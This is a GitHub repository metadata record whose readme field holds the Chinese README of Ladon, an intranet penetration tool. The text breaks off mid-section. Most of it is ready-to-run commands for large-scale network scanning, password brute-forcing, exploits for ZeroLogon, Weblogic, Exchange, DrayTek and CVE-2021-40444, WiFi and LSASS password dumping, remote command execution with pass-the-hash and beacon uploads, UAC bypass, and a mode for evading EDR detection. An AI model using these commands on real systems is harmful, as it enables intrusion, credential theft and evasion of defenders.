{"id":13680386,"url":"https://github.com/k8gege/Ladon","last_synced_at":"2025-04-29T23:31:27.810Z","repository":{"id":37437271,"uuid":"219113096","full_name":"k8gege/Ladon","owner":"k8gege","description":"Ladon大型内网渗透扫描器，PowerShell、Cobalt Strike插件、内存加载、无文件扫描。含端口扫描、服务识别、网络资产探测、密码审计、高危漏洞检测、漏洞利用、密码读取以及一键GetShell，支持批量A段/B段/C段以及跨网段扫描，支持URL、主机、域名列表扫描等。网络资产探测32种协议(ICMP\\NBT\\DNS\\MAC\\SMB\\WMI\\SSH\\HTTP\\HTTPS\\Exchange\\mssql\\FTP\\RDP)或方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、交换机、数据库、打印机等，大量高危漏洞检测模块MS17010、Zimbra、Exchange","archived":false,"fork":false,"pushed_at":"2025-03-24T13:53:59.000Z","size":214177,"stargazers_count":5019,"open_issues_count":37,"forks_count":878,"subscribers_count":88,"default_branch":"master","last_synced_at":"2025-04-13T21:33:59.720Z","etag":null,"topics":["brute-force","exp","exploit","getshell","hack","hacking","ipscanner","ladon","netscan","password","pentest","poc","portscan","scanner","security","security-scanner","security-tools","tools"],"latest_commit_sha":null,"homepage":"http://k8gege.org/Ladon/","language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/k8gege.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2019-11-02T06:22:41.000Z","updated_at":"2025-04-12T01:55:24.000Z","dependencies_parsed_at":"2023-01-30T01:00:43.626Z","dependency_job_id":"ad6b54c3-95f0-4d49-850c-24e90e48c08d","html_url":"https://github.com/k8gege/Ladon","commit_stats":null,"previous_names":[],"tags_count":31,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/k8gege%2FLadon","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/k8gege%2FLadon/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/k8gege%2FLadon/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/k8gege%2FLadon/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/k8gege","download_url":"https://codeload.github.com/k8gege/Ladon/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":251600066,"owners_count":21615631,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["brute-force","exp","exploit","getshell","hack","hacking","ipscanner","ladon","netscan","password","pentest","poc","portscan","scanner","security","security-scanner","security-tools","tools"],"created_at":"2024-08-02T13:01:16.575Z","updated_at":"2025-04-29T23:31:22.792Z","avatar_url":"https://github.com/k8gege.png","language":"C#","funding_links":[],"categories":["PowerShell","C# #","C# (212)","C\\#"],"sub_categories":[],"readme":"## Ladon 12.2 20231215 Oracle数据库一键提权\n![](https://k8gege.github.io/k8img/Ladon/Dragon.jpg)\n\n[![Author](https://img.shields.io/badge/Author-k8gege-blueviolet)](https://github.com/k8gege) \n[![Ladon](https://img.shields.io/badge/Ladon-12.2-yellowgreen)](https://github.com/k8gege/Ladon) \n[![Bin](https://img.shields.io/badge/Ladon-Bin-ff69b4)](https://github.com/k8gege/Ladon/releases) \n[![GitHub issues](https://img.shields.io/github/issues/k8gege/Ladon)](https://github.com/k8gege/Ladon/issues) \n[![Github Stars](https://img.shields.io/github/stars/k8gege/Ladon)](https://github.com/k8gege/Ladon) \n[![GitHub forks](https://img.shields.io/github/forks/k8gege/Ladon)](https://github.com/k8gege/Ladon)\n[![GitHub license](https://img.shields.io/github/license/k8gege/Ladon)](https://github.com/k8gege/Ladon)\n[![Downloads](https://img.shields.io/github/downloads/k8gege/Ladon/total?label=Release%20Download)](https://github.com/k8gege/Ladon/releases/latest)\n\n![image](https://img-blog.csdnimg.cn/20210116233533868.gif)\n\n\n\n### 程序简介\n\nLadon大型内网渗透\\域渗透\\横向工具，可PowerShell模块化、可CS插件化、可内存加载，无文件扫描。含端口扫描、服务识别、网络资产探测、密码审计、高危漏洞检测、漏洞利用、密码读取以及一键GetShell，支持批量A段/B段/C段以及跨网段扫描，支持URL、主机、域名列表扫描等。12.2版本内置262功能模块,网络资产探测模块30+协议(ICMP\\NBT\\DNS\\MAC\\SMB\\WMI\\SSH\\HTTP\\HTTPS\\Exchange\\mssql\\FTP\\RDP)以及方法快速获取目标网络存活主机IP、计算机名、工作组、共享资源、网卡地址、操作系统版本、网站、子域名、中间件、开放服务、路由器、交换机、数据库、打印机等信息，高危漏洞检测16+包含Cisco、Zimbra、Exchange、DrayTek、MS17010、SMBGhost、Weblogic、ActiveMQ、Tomcat、Struts2系列、Printer等，密码审计25+含数据库(Mysql、Oracle、MSSQL)、FTP、SSH、VNC、Windows(LDAP、SMB/IPC、NBT、WMI、SmbHash、WmiHash、Winrm)、BasicAuth、Tomcat、Weblogic、Rar等，远程执行命令包含(smbexec/wmiexe/psexec/atexec/sshexec/webshell),Web指纹识别模块可识别135+（Web应用、中间件、脚本类型、页面类型）等，本地提权21+含SweetPotato\\BadPotato\\EfsPotato\\BypassUAC,可高度自定义插件POC支持.NET程序集、DLL(C#/Delphi/VC)、PowerShell等语言编写的插件,支持通过配置INI批量调用任意外部程序或命令，EXP生成器可一键生成漏洞POC快速扩展扫描能力。Ladon支持Cobalt Strike插件化扫描快速拓展内网进行横向移动。\n\n### 使用简单\n\n虽然Ladon功能丰富多样,但使用却非常简单,任何人都能轻易上手\u003cbr\u003e\n只需一或两个参数就可用90%的功能,一个模块相当于一个新工具\n\n### 运行环境\n\n#### Windows\n\nLadon可在安装有.net 2.0及以上版本Win系统中使用(Win7后系统自带.net)\u003cbr\u003e\n如Cmd、PowerShell、远控Cmd、WebShell等，以及Cobalt Strike内存加载使用\u003cbr\u003e\nLadon.ps1完美兼容Win7-Win11/2022 PowerShell，不看版本远程加载无文件渗透\n\n#### 全平台LadonGo支持Linux、Mac、Arm、MIPS\n全平台：Linux、MacOS、Windows、路由器、网络设备等OS系统\u003cbr\u003e\nhttps://github.com/k8gege/LadonGo\n\n### 奇葩条件\n\n实战并不那么顺利，有些内网转发后很卡或无法转发，只能将工具上传至目标\u003cbr\u003e\n有些马可能上传两三M的程序都要半天甚至根本传不了，PY的几十M就更别想了\u003cbr\u003e\nLadon采用C#研发，程序体积很小500K左右，即便马不行也能上传500K程序吧\u003cbr\u003e\n还不行也可PowerShell远程内存加载,这点是PY或GO编译的大程序无法比拟的\n\n### 宗旨\n\n一条龙服务，为用户提供一个简单易用、功能丰富、高度灵活的扫描工具\n\n### 特色\n\n扫描流量小\u003cbr\u003e\n程序体积小\u003cbr\u003e\n功能丰富强大\u003cbr\u003e\n程序简单易用\u003cbr\u003e\n插件支持多种语言\u003cbr\u003e\n跨平台(Win/Kali/Ubuntu)等\u003cbr\u003e\n支持Cobalt Strike插件化\u003cbr\u003e\n支持PowerShell无文件渗透\u003cbr\u003e\nExp生成器可一键生成Poc\u003cbr\u003e\n多版本适用各种环境\n\n### 程序参数功能\n\n1  支持指定IP扫描\u003cbr\u003e\n2  支持指定域名扫描\u003cbr\u003e\n3  支持指定机器名扫描\u003cbr\u003e\n4  支持指定C段扫描(ip/24)\u003cbr\u003e\n5  支持指定B段扫描(ip/16)\u003cbr\u003e\n6  支持指定A段扫描(ip/8)\u003cbr\u003e\n7  支持指定URL扫描\u003cbr\u003e\n8  支持批量IP扫描(ip.txt)\u003cbr\u003e\n9  支持批量C段扫描(ip24.txt)\u003cbr\u003e\n10 支持批量C段扫描(ipc.txt)\u003cbr\u003e\n11 支持批量B段扫描(ip16.txt)\u003cbr\u003e\n12 支持批量URL扫描(url.txt)\u003cbr\u003e\n13 支持批量域名扫描(domain.txt)\u003cbr\u003e\n14 支持批量机器名扫描(host.txt)\u003cbr\u003e\n15 支持批量国家段扫描(cidr.txt)\u003cbr\u003e\n16 支持批量字符串列表(str.txt)\u003cbr\u003e\n17 支持主机帐密列表(check.txt)\u003cbr\u003e\n18 支持用户密码列表(userpass.txt)\u003cbr\u003e\n19 支持指定范围C段扫描\u003cbr\u003e\n20 支持参数加载自定义DLL（仅限C#）\u003cbr\u003e\n21 支持参数加载自定义EXE（仅限C#）\u003cbr\u003e\n22 支持参数加载自定义INI配置文件\u003cbr\u003e\n23 支持参数加载自定义PowerShell\u003cbr\u003e\n24 支持自定义程序(系统命令或第三方程序即任意语言开发的程序或脚本)\u003cbr\u003e\n25 插件(支持多种语言C#/Delphi/Golang/Python/VC/PowerShell)\u003cbr\u003e\n26 支持Cobalt Strike(beacon命令行下扫描目标内网或跳板扫描外网目标)\u003cbr\u003e\n27 支持CIDR格式IP扫描,如100.64.0.0/10，192.168.1.1/20等\u003cbr\u003e\n28 INI配置支持自定义程序密码爆破\u003cbr\u003e\n\n### 简明使用教程\n\nLadon 简明使用教程 完整文档: http://k8gege.org/Ladon \u003cbr\u003e\n支持Cmd、Cobalt Strike、PowerShell等内存加载\u003cbr\u003e\nWindows版本: .Net、Cobalt Strike、PowerShell\u003cbr\u003e\n全系统版本：GO(全平台)、Python(理论上全平台)\u003cbr\u003e\nPS: Study方便本地学习使用，完整功能请使用CMD\n\n### BypassEDR扫描\n\n默认扫描速度很快，有些WAF或EDR防御很强\u003cbr\u003e\n设置几线程都有可能20分钟左右就不能扫了\u003cbr\u003e\nbypassEDR模拟人工访问，绕过速度检测策略\u003cbr\u003e\n\n扫描速度较慢，追求速度的愣头青不要使用\u003cbr\u003e\n```Bash\nLadon 10.1.2.8/24 MS17010 bypassEDR\n```\n\n密码爆破相关模块暂不支持bypassEDR参数\n\n\n### 001 自定义线程扫描\n例子：扫描目标10.1.2段是否存在MS17010漏洞\u003cbr\u003e\n单线程：\n```Bash\nLadon 10.1.2.8/24 MS17010 t=1\n```\n\n80线程：\n```Bash\nLadon noping 10.1.2.8/24 MS17010 t=80\n```\n\n高强度防护下扫描线程设置低一些，F单线程\u003cbr\u003e\n```Bash\nLadon 10.1.2.8/24 MS17010 f=1\n```\n\n### 002 Socks5代理扫描\n例子：使用8线程扫描目标10.1.2段是否存在MS17010漏洞\u003cbr\u003e\n```Bash\nLadon noping 10.1.2.8/24 MS17010 t=8\u003cbr\u003e\n```\n\n详见：http://k8gege.org/Ladon/proxy.html\n\nPS：代理工具不支持Socks5，所以必须加noping参数扫描\u003cbr\u003e \n不管是Frp还是其它同类工具，最主要是Proxifier等工具不支持ICMP协议\u003cbr\u003e\n因为Ladon默认先用ICMP探测存活后，才使用对应模块测试\u003cbr\u003e\n所以代理环境下得禁ping扫描，系统ping使用的就是ICMP协议\n\n\n### 003 网段扫描/批量扫描\nCIDR格式：不只是/24/16/8(所有)\n```Bash\nLadon 192.168.1.8/24 扫描模块\nLadon 192.168.1.8/16 扫描模块\nLadon 192.168.1.8/8  扫描模块\n```\n\n字母格式：仅C段B段A段 顺序排序\n```Bash\nLadon 192.168.1.8/c 扫描模块\nLadon 192.168.1.8/b 扫描模块\nLadon 192.168.1.8/a 扫描模块\n```\n\n### 0x004指定IP范围、网段扫描\n#### ICMP探测1段50-200的存活主机\n```Bash\nLadon 192.168.1.50-192.168.1.200 ICMP  \n```\n\n#### ICMP探测1.30至50.80存活主机\n```Bash\nLadon 192.168.1.30-192.168.50.80 ICMP  \n```\n\nTXT格式\n##### 004 ICMP批量扫描C段列表存活主机\n```Bash\nLadon ip24.txt ICMP\nLadon ipc.txt ICMP\n```\n\n##### 005 ICMP批量扫描B段列表存活主机\n```Bash\nLadon ip16.txt ICMP\n```\n\n##### 006 ICMP批量扫描cidr列表(如某国IP段)\n```Bash\nLadon cidr.txt ICMP\n```\n\n##### 007 ICMP批量扫描域名是否存活\n```Bash\nLadon domain.txt ICMP\n```\n\n##### 008 ICMP批量扫描机器是否存活 使用主机名或机器名探测\n```Bash\nLadon host.txt ICMP\n```\n\n##### 009 WhatCMS批量识别CMS、Banner、SSL证书、标题，可识别未知CMS、路由器、打印机、网络设备、摄像头等\n```Bash\nLadon 192.168.1.8 WhatCMS   扫描IP\nLadon 192.168.1.8/24 WhatCMS   扫描C段\nLadon 192.168.1.8/C WhatCMS   扫描C段\nLadon 192.168.1.8/B WhatCMS   扫描B段\nLadon 192.168.1.8/A WhatCMS   扫描A段\nLadon IP.TXT WhatCMS   扫描IP列表\nLadon IP24.TXT WhatCMS   扫描C段列表\nLadon IP16.TXT WhatCMS   扫描B段列表\nLadon cidr.TXT WhatCMS   扫描整个国家IP段列表\n禁PING扫描\u003cbr\u003e\nLadon noping 192.168.1.8 WhatCMS   扫描IP\nLadon noping 192.168.1.8/24 WhatCMS   扫描C段\n```\n\n\n##### 010 批量检测DrayTek路由器版本、漏洞、弱口令\n```Bash\nLadon url.txt DraytekPoc\n```\n\n##### 011 批量解密Base64密码\n```Bash\nLadon str.txt DeBase64\n```\n\n### 资产扫描、指纹识别、服务识别、存活主机、端口扫描\n![image](http://k8gege.org/k8img/Ladon/Study/Rinfo.PNG)\n\n##### 012 ICMP扫描存活主机(最快)\n```Bash\nLadon 192.168.1.8/24 ICMP\n```\n\n##### 013 Ping探测存活主机(调用系统Ping命令 回显ms、ttl等信息)\n```Bash\nLadon 192.168.1.8/24 Ping\n```\n\n如果你认为ping命令通才是存活，可使用这条命令批量\n\n##### 014 多协议探测存活主机 （IP、机器名、MAC/域名、制造商/系统版本）\n```Bash\nLadon 192.168.1.8/24 OnlinePC\n```\n\n##### 015 多协议识别操作系统 （IP、机器名、操作系统版本、开放服务）\n```Bash\nLadon 192.168.1.8/24 OsScan\n```\n\n##### 016 OXID探测多网卡主机\n```Bash\nLadon 192.168.1.8/24 EthScan\nLadon 192.168.1.8/24 OxidScan\n```\n\n##### 017 DNS探测多网卡主机\n```Bash\nLadon 192.168.1.8/24 DnsScan\n```\n\n##### 018 多协议扫描存活主机IP\n```Bash\nLadon 192.168.1.8/24 OnlineIP\n```\n\n##### 019 扫描SMB漏洞MS17010 （IP、机器名、漏洞编号、操作系统版本）\n```Bash\nLadon 192.168.1.8/24 MS17010\n```\n\n##### 020 SMBGhost漏洞检测 CVE-2020-0796 （IP、机器名、漏洞编号、操作系统版本）\n```Bash\nLadon 192.168.1.8/24 SMBGhost\n```\n\n##### 021 扫描Web标题 Banner 更全信息请使用WhatCMS模块探测\n```Bash\nLadon 192.168.1.8/24 WebScan\nLadon http://192.168.1.8 WebScan\n```\n\n##### 022 扫描C段站点URL域名\n```Bash\nLadon 192.168.1.8/24 UrlScan\n```\n\n##### 023 扫描C段站点URL域名\n```Bash\nLadon 192.168.1.8/24 SameWeb\n```\n\n##### 024 扫描子域名、二级域名\n```Bash\nLadon baidu.com SubDomain\n```\n\n##### 025 域名解析IP、主机名解析IP\n```Bash\nLadon baidu.com DomainIP\nLadon baidu.com HostIP\n```\n\n##### 025 批量域名解析IP、批量主机名解析IP\n```Bash\nLadon domain.txt DomainIP\nLadon host.txt HostIP\n```\n\n##### 025 批量域名、主机名解析 结果只有IP\n```Bash\nLadon domain.txt Domain2IP\nLadon host.txt Host2IP\n```\n\n##### 026 DNS查询域内机器、IP (条件域内，指定域控IP)\n```Bash\nLadon AdiDnsDump 192.168.1.8\n```\n\n##### 027 查询域内机器、IP (条件域内)\nLadon GetDomainIP\n\n##### 028 扫描C段端口、指定端口扫描\n```Bash\nLadon 192.168.1.8/24 PortScan\nLadon 192.168.1.8 PortScan 80,445,3389\n```\n\n##### 029 扫描C段WEB及识别CMS（86+Web指纹识别）\n```Bash\nLadon 192.168.1.8/24 WhatCMS\n```\n\n##### 030 扫描思科设备\n```Bash\nLadon 192.168.1.8/24 CiscoInfo\nLadon http://192.168.1.8 CiscoInfo\n```\n\n##### 031 枚举Mssql数据库主机 （数据库IP、机器名、SQL版本）\n```Bash\nLadon EnumMssql\n```\n\n##### 032 枚举网络共享资源 \t（域、IP、主机名\\共享路径）\n```Bash\nLadon EnumShare\n```\n\n##### 033 扫描LDAP服务器(探测域控)\n```Bash\nLadon 192.168.1.8/24 LdapScan\n```\n\n##### 034 扫描FTP服务器并识别版本\n```Bash\nLadon 192.168.1.8/24 FtpScan\n```\n\n### 暴力破解/网络认证/弱口令/密码爆破/数据库/网站后台/登陆口/系统登陆\n![image](http://k8gege.org/k8img/Ladon/Study/brute.PNG)\n密码爆破详解参考SSH：http://k8gege.org/Ladon/sshscan.html\n\n##### 035 445端口 SMB密码爆破(Windows)\n```Bash\nLadon 192.168.1.8/24 SmbScan\n```\n\n##### 036 135端口 Wmi密码爆破(Windowns)\n```Bash\nLadon 192.168.1.8/24 WmiScan\n```\n\n##### 037 389端口 LDAP服务器、AD域密码爆破(Windows)\n```Bash\nLadon 192.168.1.8/24 LdapScan\n```\n\n##### 038 5985端口 Winrm密码爆破(Windowns)\n```Bash\nLadon 192.168.1.8/24 WinrmScan\n```\n\n##### 039 445端口 SMB NTLM HASH爆破(Windows)\n```Bash\nLadon 192.168.1.8/24 SmbHashScan\n```\n\n##### 040 135端口 Wmi NTLM HASH爆破(Windows)\n```Bash\nLadon 192.168.1.8/24 WmiHashScan\n```\n\n##### 041 22端口 SSH密码爆破(Linux)\n```Bash\nLadon 192.168.1.8/24 SshScan\nLadon 192.168.1.8:22 SshScan\n```\n\n##### 042 1433端口 Mssql数据库密码爆破\n```Bash\nLadon 192.168.1.8/24 MssqlScan\n```\n\n##### 043 1521端口 Oracle数据库密码爆破\n```Bash\nLadon 192.168.1.8/24 OracleScan\n```\nOracle数据库比较特殊，只爆ORCL库会错过很多权限\u003cbr\u003e\n详见：http://k8gege.org/Ladon/OracleScan.html\u003cbr\u003e\n\n\n##### 044 3306端口 Mysql数据库密码爆破\n```Bash\nLadon 192.168.1.8/24 MysqlScan\n```\n\n##### 045 7001端口 Weblogic后台密码爆破\n```Bash\nLadon http://192.168.1.8:7001/console WeblogicScan\u003cbr\u003e\nLadon 192.168.1.8/24 WeblogicScan\n```\n\n##### 046 5900端口 VNC远程桌面密码爆破\n```Bash\nLadon 192.168.1.8/24 VncScan\n```\n\n##### 047 21端口 Ftp服务器密码爆破\n```Bash\nLadon 192.168.1.8/24 FtpScan\n```\n\n##### 048 8080端口 Tomcat后台登陆密码爆破\n```Bash\nLadon 192.168.1.8/24 TomcatScan\nLadon http://192.168.1.8:8080/manage TomcatScan\n```\n\n##### 049 Web端口 401基础认证密码爆破\n```Bash\nLadon http://192.168.1.8/login HttpBasicScan\nLadon ip.txt 401Scan\n```\n\n##### 050 445端口 Impacket SMB密码爆破(Windowns)\n```Bash\nLadon 192.168.1.8/24 SmbScan.ini\n```\n\n##### 051 445端口 IPC密码爆破(Windowns)\n```Bash\nLadon 192.168.1.8/24 IpcScan.ini\n```\n\n##### 052 139端口Netbios协议Windows密码爆破\n```Bash\nLadon 192.168.1.8/24 NbtScan\n```\n\n##### 053 5985端口Winrm协议Windows密码爆破\n```Bash\nLadon 192.168.1.8/24 WinrmScan\n```\n\n##### 054 网络摄像头密码爆破(内置默认密码)\n```Bash\nLadon 192.168.1.8/24 DvrScan\n```\n\n### 漏洞检测/Poc\n\n![image](http://k8gege.org/k8img/Ladon/Study/poc.PNG)\n\n##### 055 SMB漏洞检测(CVE-2017-0143/CVE-2017-0144)\n```Bash\nLadon 192.168.1.8/24 MS17010\n```\n\n##### 056 SMBGhost漏洞检测 CVE-2020-0796\t\t911保留\n```Bash\nLadon 192.168.1.8/24 SMBGhost\n```\n\n##### 057 Weblogic漏洞检测(CVE-2019-2725/CVE-2018-2894)\n```Bash\nLadon 192.168.1.8/24 WeblogicPoc\n```\n\n##### 058 PhpStudy后门检测(phpstudy 2016/phpstudy 2018)  10.9移除 911保留\n```Bash\nLadon 192.168.1.8/24 PhpStudyPoc\n```\n\n##### 059 ActiveMQ漏洞检测(CVE-2016-3088)\n```Bash\nLadon 192.168.1.8/24 ActivemqPoc\n```\n\n##### 060 Tomcat漏洞检测(CVE-2017-12615)\n```Bash\nLadon 192.168.1.8/24 TomcatPoc\n```\n\n##### 061 Struts2漏洞检测(S2-005/S2-009/S2-013/S2-016/S2-019/S2-032/DevMode)\n```Bash\nLadon 192.168.1.8/24 Struts2Poc\n```\n\n##### 062 DraytekPoc CVE-2020-8515漏洞检测、Draytek版本探测、弱口令检测\n```Bash\nLadon 192.168.1.8 DraytekPoc\nLadon 192.168.1.8/24 DraytekPoc\n```\n\n### 漏洞利用/Exploit\n![image](http://k8gege.org/k8img/Ladon/Study/exp.PNG)\n\n##### 063 Weblogic漏洞利用(CVE-2019-2725)\n```Bash\nLadon 192.168.1.8/24 WeblogicExp\n```\n\n##### 064 Tomcat漏洞利用(CVE-2017-12615)\n```Bash\nLadon 192.168.1.8/24 TomcatExp\n```\n\n##### 065 Windows 0day漏洞通用DLL注入执行CMD生成器(DLL仅5KB)\n```Bash\nLadon CmdDll x86 calc\nLadon CmdDll x64 calc\nLadon CmdDll b64x86 YwBhAGwAYwA=\u003cbr\u003e\nLadon CmdDll b64x64 YwBhAGwAYwA=\n```\n\n##### 066 CVE-2021-40444  微软IE/Office 0day漏洞\n```Bash\nLadon CVE-2021-40444 MakeCab poc.dll\u003cbr\u003e\nLadon CVE-2021-40444 MakeHtml http://192.168.1.8\n```\n\n##### 067 DraytekExp CVE-2020-8515远程执行命令EXP\n```Bash\nLadon DraytekExp http://192.168.1.8  whoami\n```\n\n##### 068 域渗透 ZeroLogon CVE-2020-1472域控提权(密码置空)\n```Bash\nLadon ZeroLogon dc.k8gege.org\n```\n\n##### 069 CVE-2020-0688 Exchange序列化漏洞(.net 4.0)\n```Bash\nLadon cve-2020-0688 192.168.1.142 Administrator K8gege520\n```\n\n##### 070 ForExec循环漏洞利用(Win10永恒之黑CVE-2020-0796,成功退出以免目标蓝屏)\n```Bash\nLadon ForExec \"CVE-2020-0796-Exp -i 192.168.1.8 -p 445 -e --load-shellcode test.txt\" 80 \"Exploit finnished\"\n```\n\n### 文件下载、文件传输\n\n##### 071 内网文件传输 HTTP下载 HTTPS下载 MSF下载\n```Bash\nLadon wget https://downloads.metasploit.com/data/releases/metasploit-latest-windows-x64-installer.exe\u003cbr\u003e\nLadon HttpDownLoad http://k8gege.org/Download/Ladon.rar\n```\n\n##### 072 内网文件传输 Ftp下载 \t\n```Bash\nLadon FtpDownLoad 127.0.0.1:21 admin admin test.exe\n```\n\n### 加密解密(HEX/Base64)\n\n##### 073 Hex加密解密\n```Bash\nLadon 123456 EnHex\nLadon 313233343536 DeHex\n```\n\n##### 074 Base64加密解密\n```Bash\nLadon 123456 EnBase64\nLadon MTIzNDU2 DeBase64\nLadon str.txt DeBase64\n```\n\n### 网络嗅探\n\n##### 075 Ftp密码嗅探(绑定本机IP，自动嗅探C段)\n```Bash\nLadon FtpSniffer 192.168.1.5\n```\n\n##### 076 HTTP密码嗅探(绑定本机IP，自动嗅探C段)\n```Bash\nLadon HTTPSniffer 192.168.1.5\n```\n\n##### 077 网络嗅探\t\n```Bash\nLadon Sniffer\n```\n\n### 密码读取\n\n##### 078 读取IIS站点密码、网站路径\n```Bash\nLadon IISpwd\n```\n\n##### 079 读取连接过的WIFI密码\n```Bash\nLadon WifiPwd\n```\n\n##### 080 读取FileZilla FTP密码\n```Bash\nLadon FileZillaPwd\n```\n\n##### 081 读取系统Hash、VPN密码、DPAPI-Key  10.9移除\n```Bash\nLadon CVE-2021-36934  \n```\n\n##### 082 DumpLsass内存密码(mimikatz明文) 限9.1.1版本之前\n```Bash\nLadon DumpLsass\n```\n\n### 信息收集\n\n![image](http://k8gege.org/k8img/Ladon/Study/Linfo.PNG)\n\n##### 083 获取本机内网IP与外网IP \t\n```Bash\nLadon GetIP\n```\n\n##### 084 获取PCname GUID CPUID DiskID Mac地址\n```Bash\nLadon GetID\n```\n\n##### 085 查看用户最近访问文件\n```Bash\nLadon Recent\n```\n\n##### 086 U盘、USB使用记录查看(USB名称、USB标记、路径信息)\n```Bash\nLadon UsbLog\n```\n\n##### 087 检测后门(注册表启动项、DLL劫持)\n```Bash\nLadon CheckDoor\nLadon AutoRun\n```\n\n##### 088 进程详细信息(程序路径、位数、启动参数、用户) \t\n```Bash\nLadon EnumProcess\nLadon Tasklist\n```\n\n##### 089 获取命令行参数 \n```Bash\nLadon cmdline\nLadon cmdline cmd.exe\n```\n\n##### 090 获取渗透基础信息 \t\n```Bash\nLadon GetInfo\nLadon GetInfo2\n```\n\n##### 091 .NET \u0026 PowerShell版本 \t\n```Bash\nLadon NetVer\nLadon PSver\nLadon NetVersion\nLadon PSversion\n```\n\n##### 092 运行时版本\u0026编译环境 \t\n```Bash\nLadon Ver\u003cbr\u003e\nLadon Version\n```\n\n##### 093 运行时版本\u0026编译环境\u0026安装软件列表 \t\n```Bash\nLadon AllVer\nLadon AllVersion\n```\n\n##### 094 查看IE代理信息\n```Bash\nLadon QueryProxy\n```\n\n##### 095  DirList列目录+基础渗透信息\n###### 默认列全盘\u003cbr\u003e\n```Bash\nLadon DirList\t\t\n```\n###### 指定盘符或目录\n```Bash\nLadon DirList c:\\   \n```\n\n##### 096 QueryAdmin查看管理员用户\t\n```Bash\nLadon QueryAdmin\n```\n\n##### 097 查看本机命名管道\n```Bash\nLadon GetPipe\n```\n\n##### 098 RdpLog查看3389连接记录\t\n```Bash\nLadon RdpLog\n```\n\n### 远程执行(psexec/wmiexec/atexec/sshexec/smbexec)\n\n![image](http://k8gege.org/k8img/Ladon/Study/Rexec.PNG)\n\n##### 099 445端口 加密PSEXEC远程执行命令（交互式）\n```Bash\nnet use \\\\192.168.1.8 k8gege520 /user:k8gege\nLadon psexec 192.168.1.8\npsexec\u003e whoami\nnt authority\\system\n```\n\n##### 100 135端口 WmiExec远程执行命令 （非交互式）\n```Bash\nLadon wmiexec 192.168.1.8 k8gege k8gege520 cmd whoami\nLadon wmiexec 192.168.1.8 k8gege k8gege520 b64cmd d2hvYW1p\n```\n\n##### 101 445端口 AtExec远程执行命令（非交互式）\n```Bash\nLadon AtExec 192.168.1.8 k8gege k8gege520 whoami\n```\n\n##### 102 22端口 SshExec远程执行命令（非交互式）\n```Bash\nLadon SshExec 192.168.1.8 k8gege k8gege520 whoami\nLadon SshExec 192.168.1.8 22 k8gege k8gege520 whoami\n```\n\n##### 103 JspShell远程执行命令（非交互式）9.3.0移除\nUsage：Ladon JspShell type url pwd cmd\u003cbr\u003e\n```Bash\nLadon JspShell ua http://192.168.1.8/shell.jsp Ladon whoami\n```\n\n##### 104 WebShell远程执行命令（非交互式）9.3.0移除\n```Bash\nUsage：Ladon WebShell ScriptType ShellType url pwd cmd\nExample: Ladon WebShell jsp ua http://192.168.1.8/shell.jsp Ladon whoami\nExample: Ladon WebShell aspx cd http://192.168.1.8/1.aspx Ladon whoami\nExample: Ladon WebShell php ua http://192.168.1.8/1.php Ladon whoami\nExample: Ladon WebShell jsp 5 http://192.168.1.8/123.jsp Ladon whoami\n获取系统版本信息 方便提权\nExample: Ladon WebShell jsp 5 http://192.168.1.8/123.jsp Ladon OSinfo\n```\n\n##### 105 135端口 WmiExec2远程执行命令支持HASH （非交互式）支持文件上传\n```Bash\nLadon WmiExec2 host user pass cmd whoami\nLadon WmiExec2 pth host cmd whoami\t\t 先Mimikatz注入Hash，再pth执行命令\nBase64Cmd for Cobalt Strike\nLadon WmiExec2 host user pass b64cmd dwBoAG8AYQBtAGkA\nLadon WmiExec2 host user pass b64cmd dwBoAG8AYQBtAGkA\nUpload:\nLadon WmiExec2 host user pass upload beacon.exe ceacon.exe\nLadon WmiExec2 pth host upload beacon.exe ceacon.exe  先Mimikatz注入Hash，再pth执行命令\n```\n\n##### 106 445端口 SmbExec Ntlm-Hash非交互式远程执行命令(无回显)\n```Bash\nLadon SmbExec 192.168.1.8 k8gege k8gege520 cmd whoami\nLadon SmbExec 192.168.1.8 k8gege k8gege520 b64cmd d2hvYW1p\n```\n\n##### 107 WinrmExec远程执行命令无回显（支持System权限）\n```Bash\nLadon WinrmExec 192.168.1.8 5985 k8gege.org Administrator K8gege520 calc.exe\n```\n\n### 提权降权\n\n![image](http://k8gege.org/k8img/Ladon/Study/Lpe.PNG)\n\n##### 108 whoami查看当前用户权限以及特权\t\n```Bash\nLadon whoami\n```\n\n##### 109  6种白名单BypassUAC(8.0后)Win7-Win10  10.8版本移除 仅911保留\n用法: Ladon BypassUAC Method Base64Cmd\n```Bash\nLadon BypassUAC eventvwr Y21kIC9jIHN0YXJ0IGNhbGMuZXhl\nLadon BypassUAC fodhelper Y21kIC9jIHN0YXJ0IGNhbGMuZXhl\nLadon BypassUAC computerdefaults Y21kIC9jIHN0YXJ0IGNhbGMuZXhl\nLadon BypassUAC sdclt Y21kIC9jIHN0YXJ0IGNhbGMuZXhl\nLadon BypassUAC slui Y21kIC9jIHN0YXJ0IGNhbGMuZXhl\nLadon BypassUAC dikcleanup Y21kIC9jIHN0YXJ0IGNhbGMuZXhlICYmIFJFTQ==\n```\n\n##### 110 BypassUac2 绕过UAC执行,支持Win7-Win10 \t10.8版本移除 仅911保留\n```Bash\nLadon BypassUac2 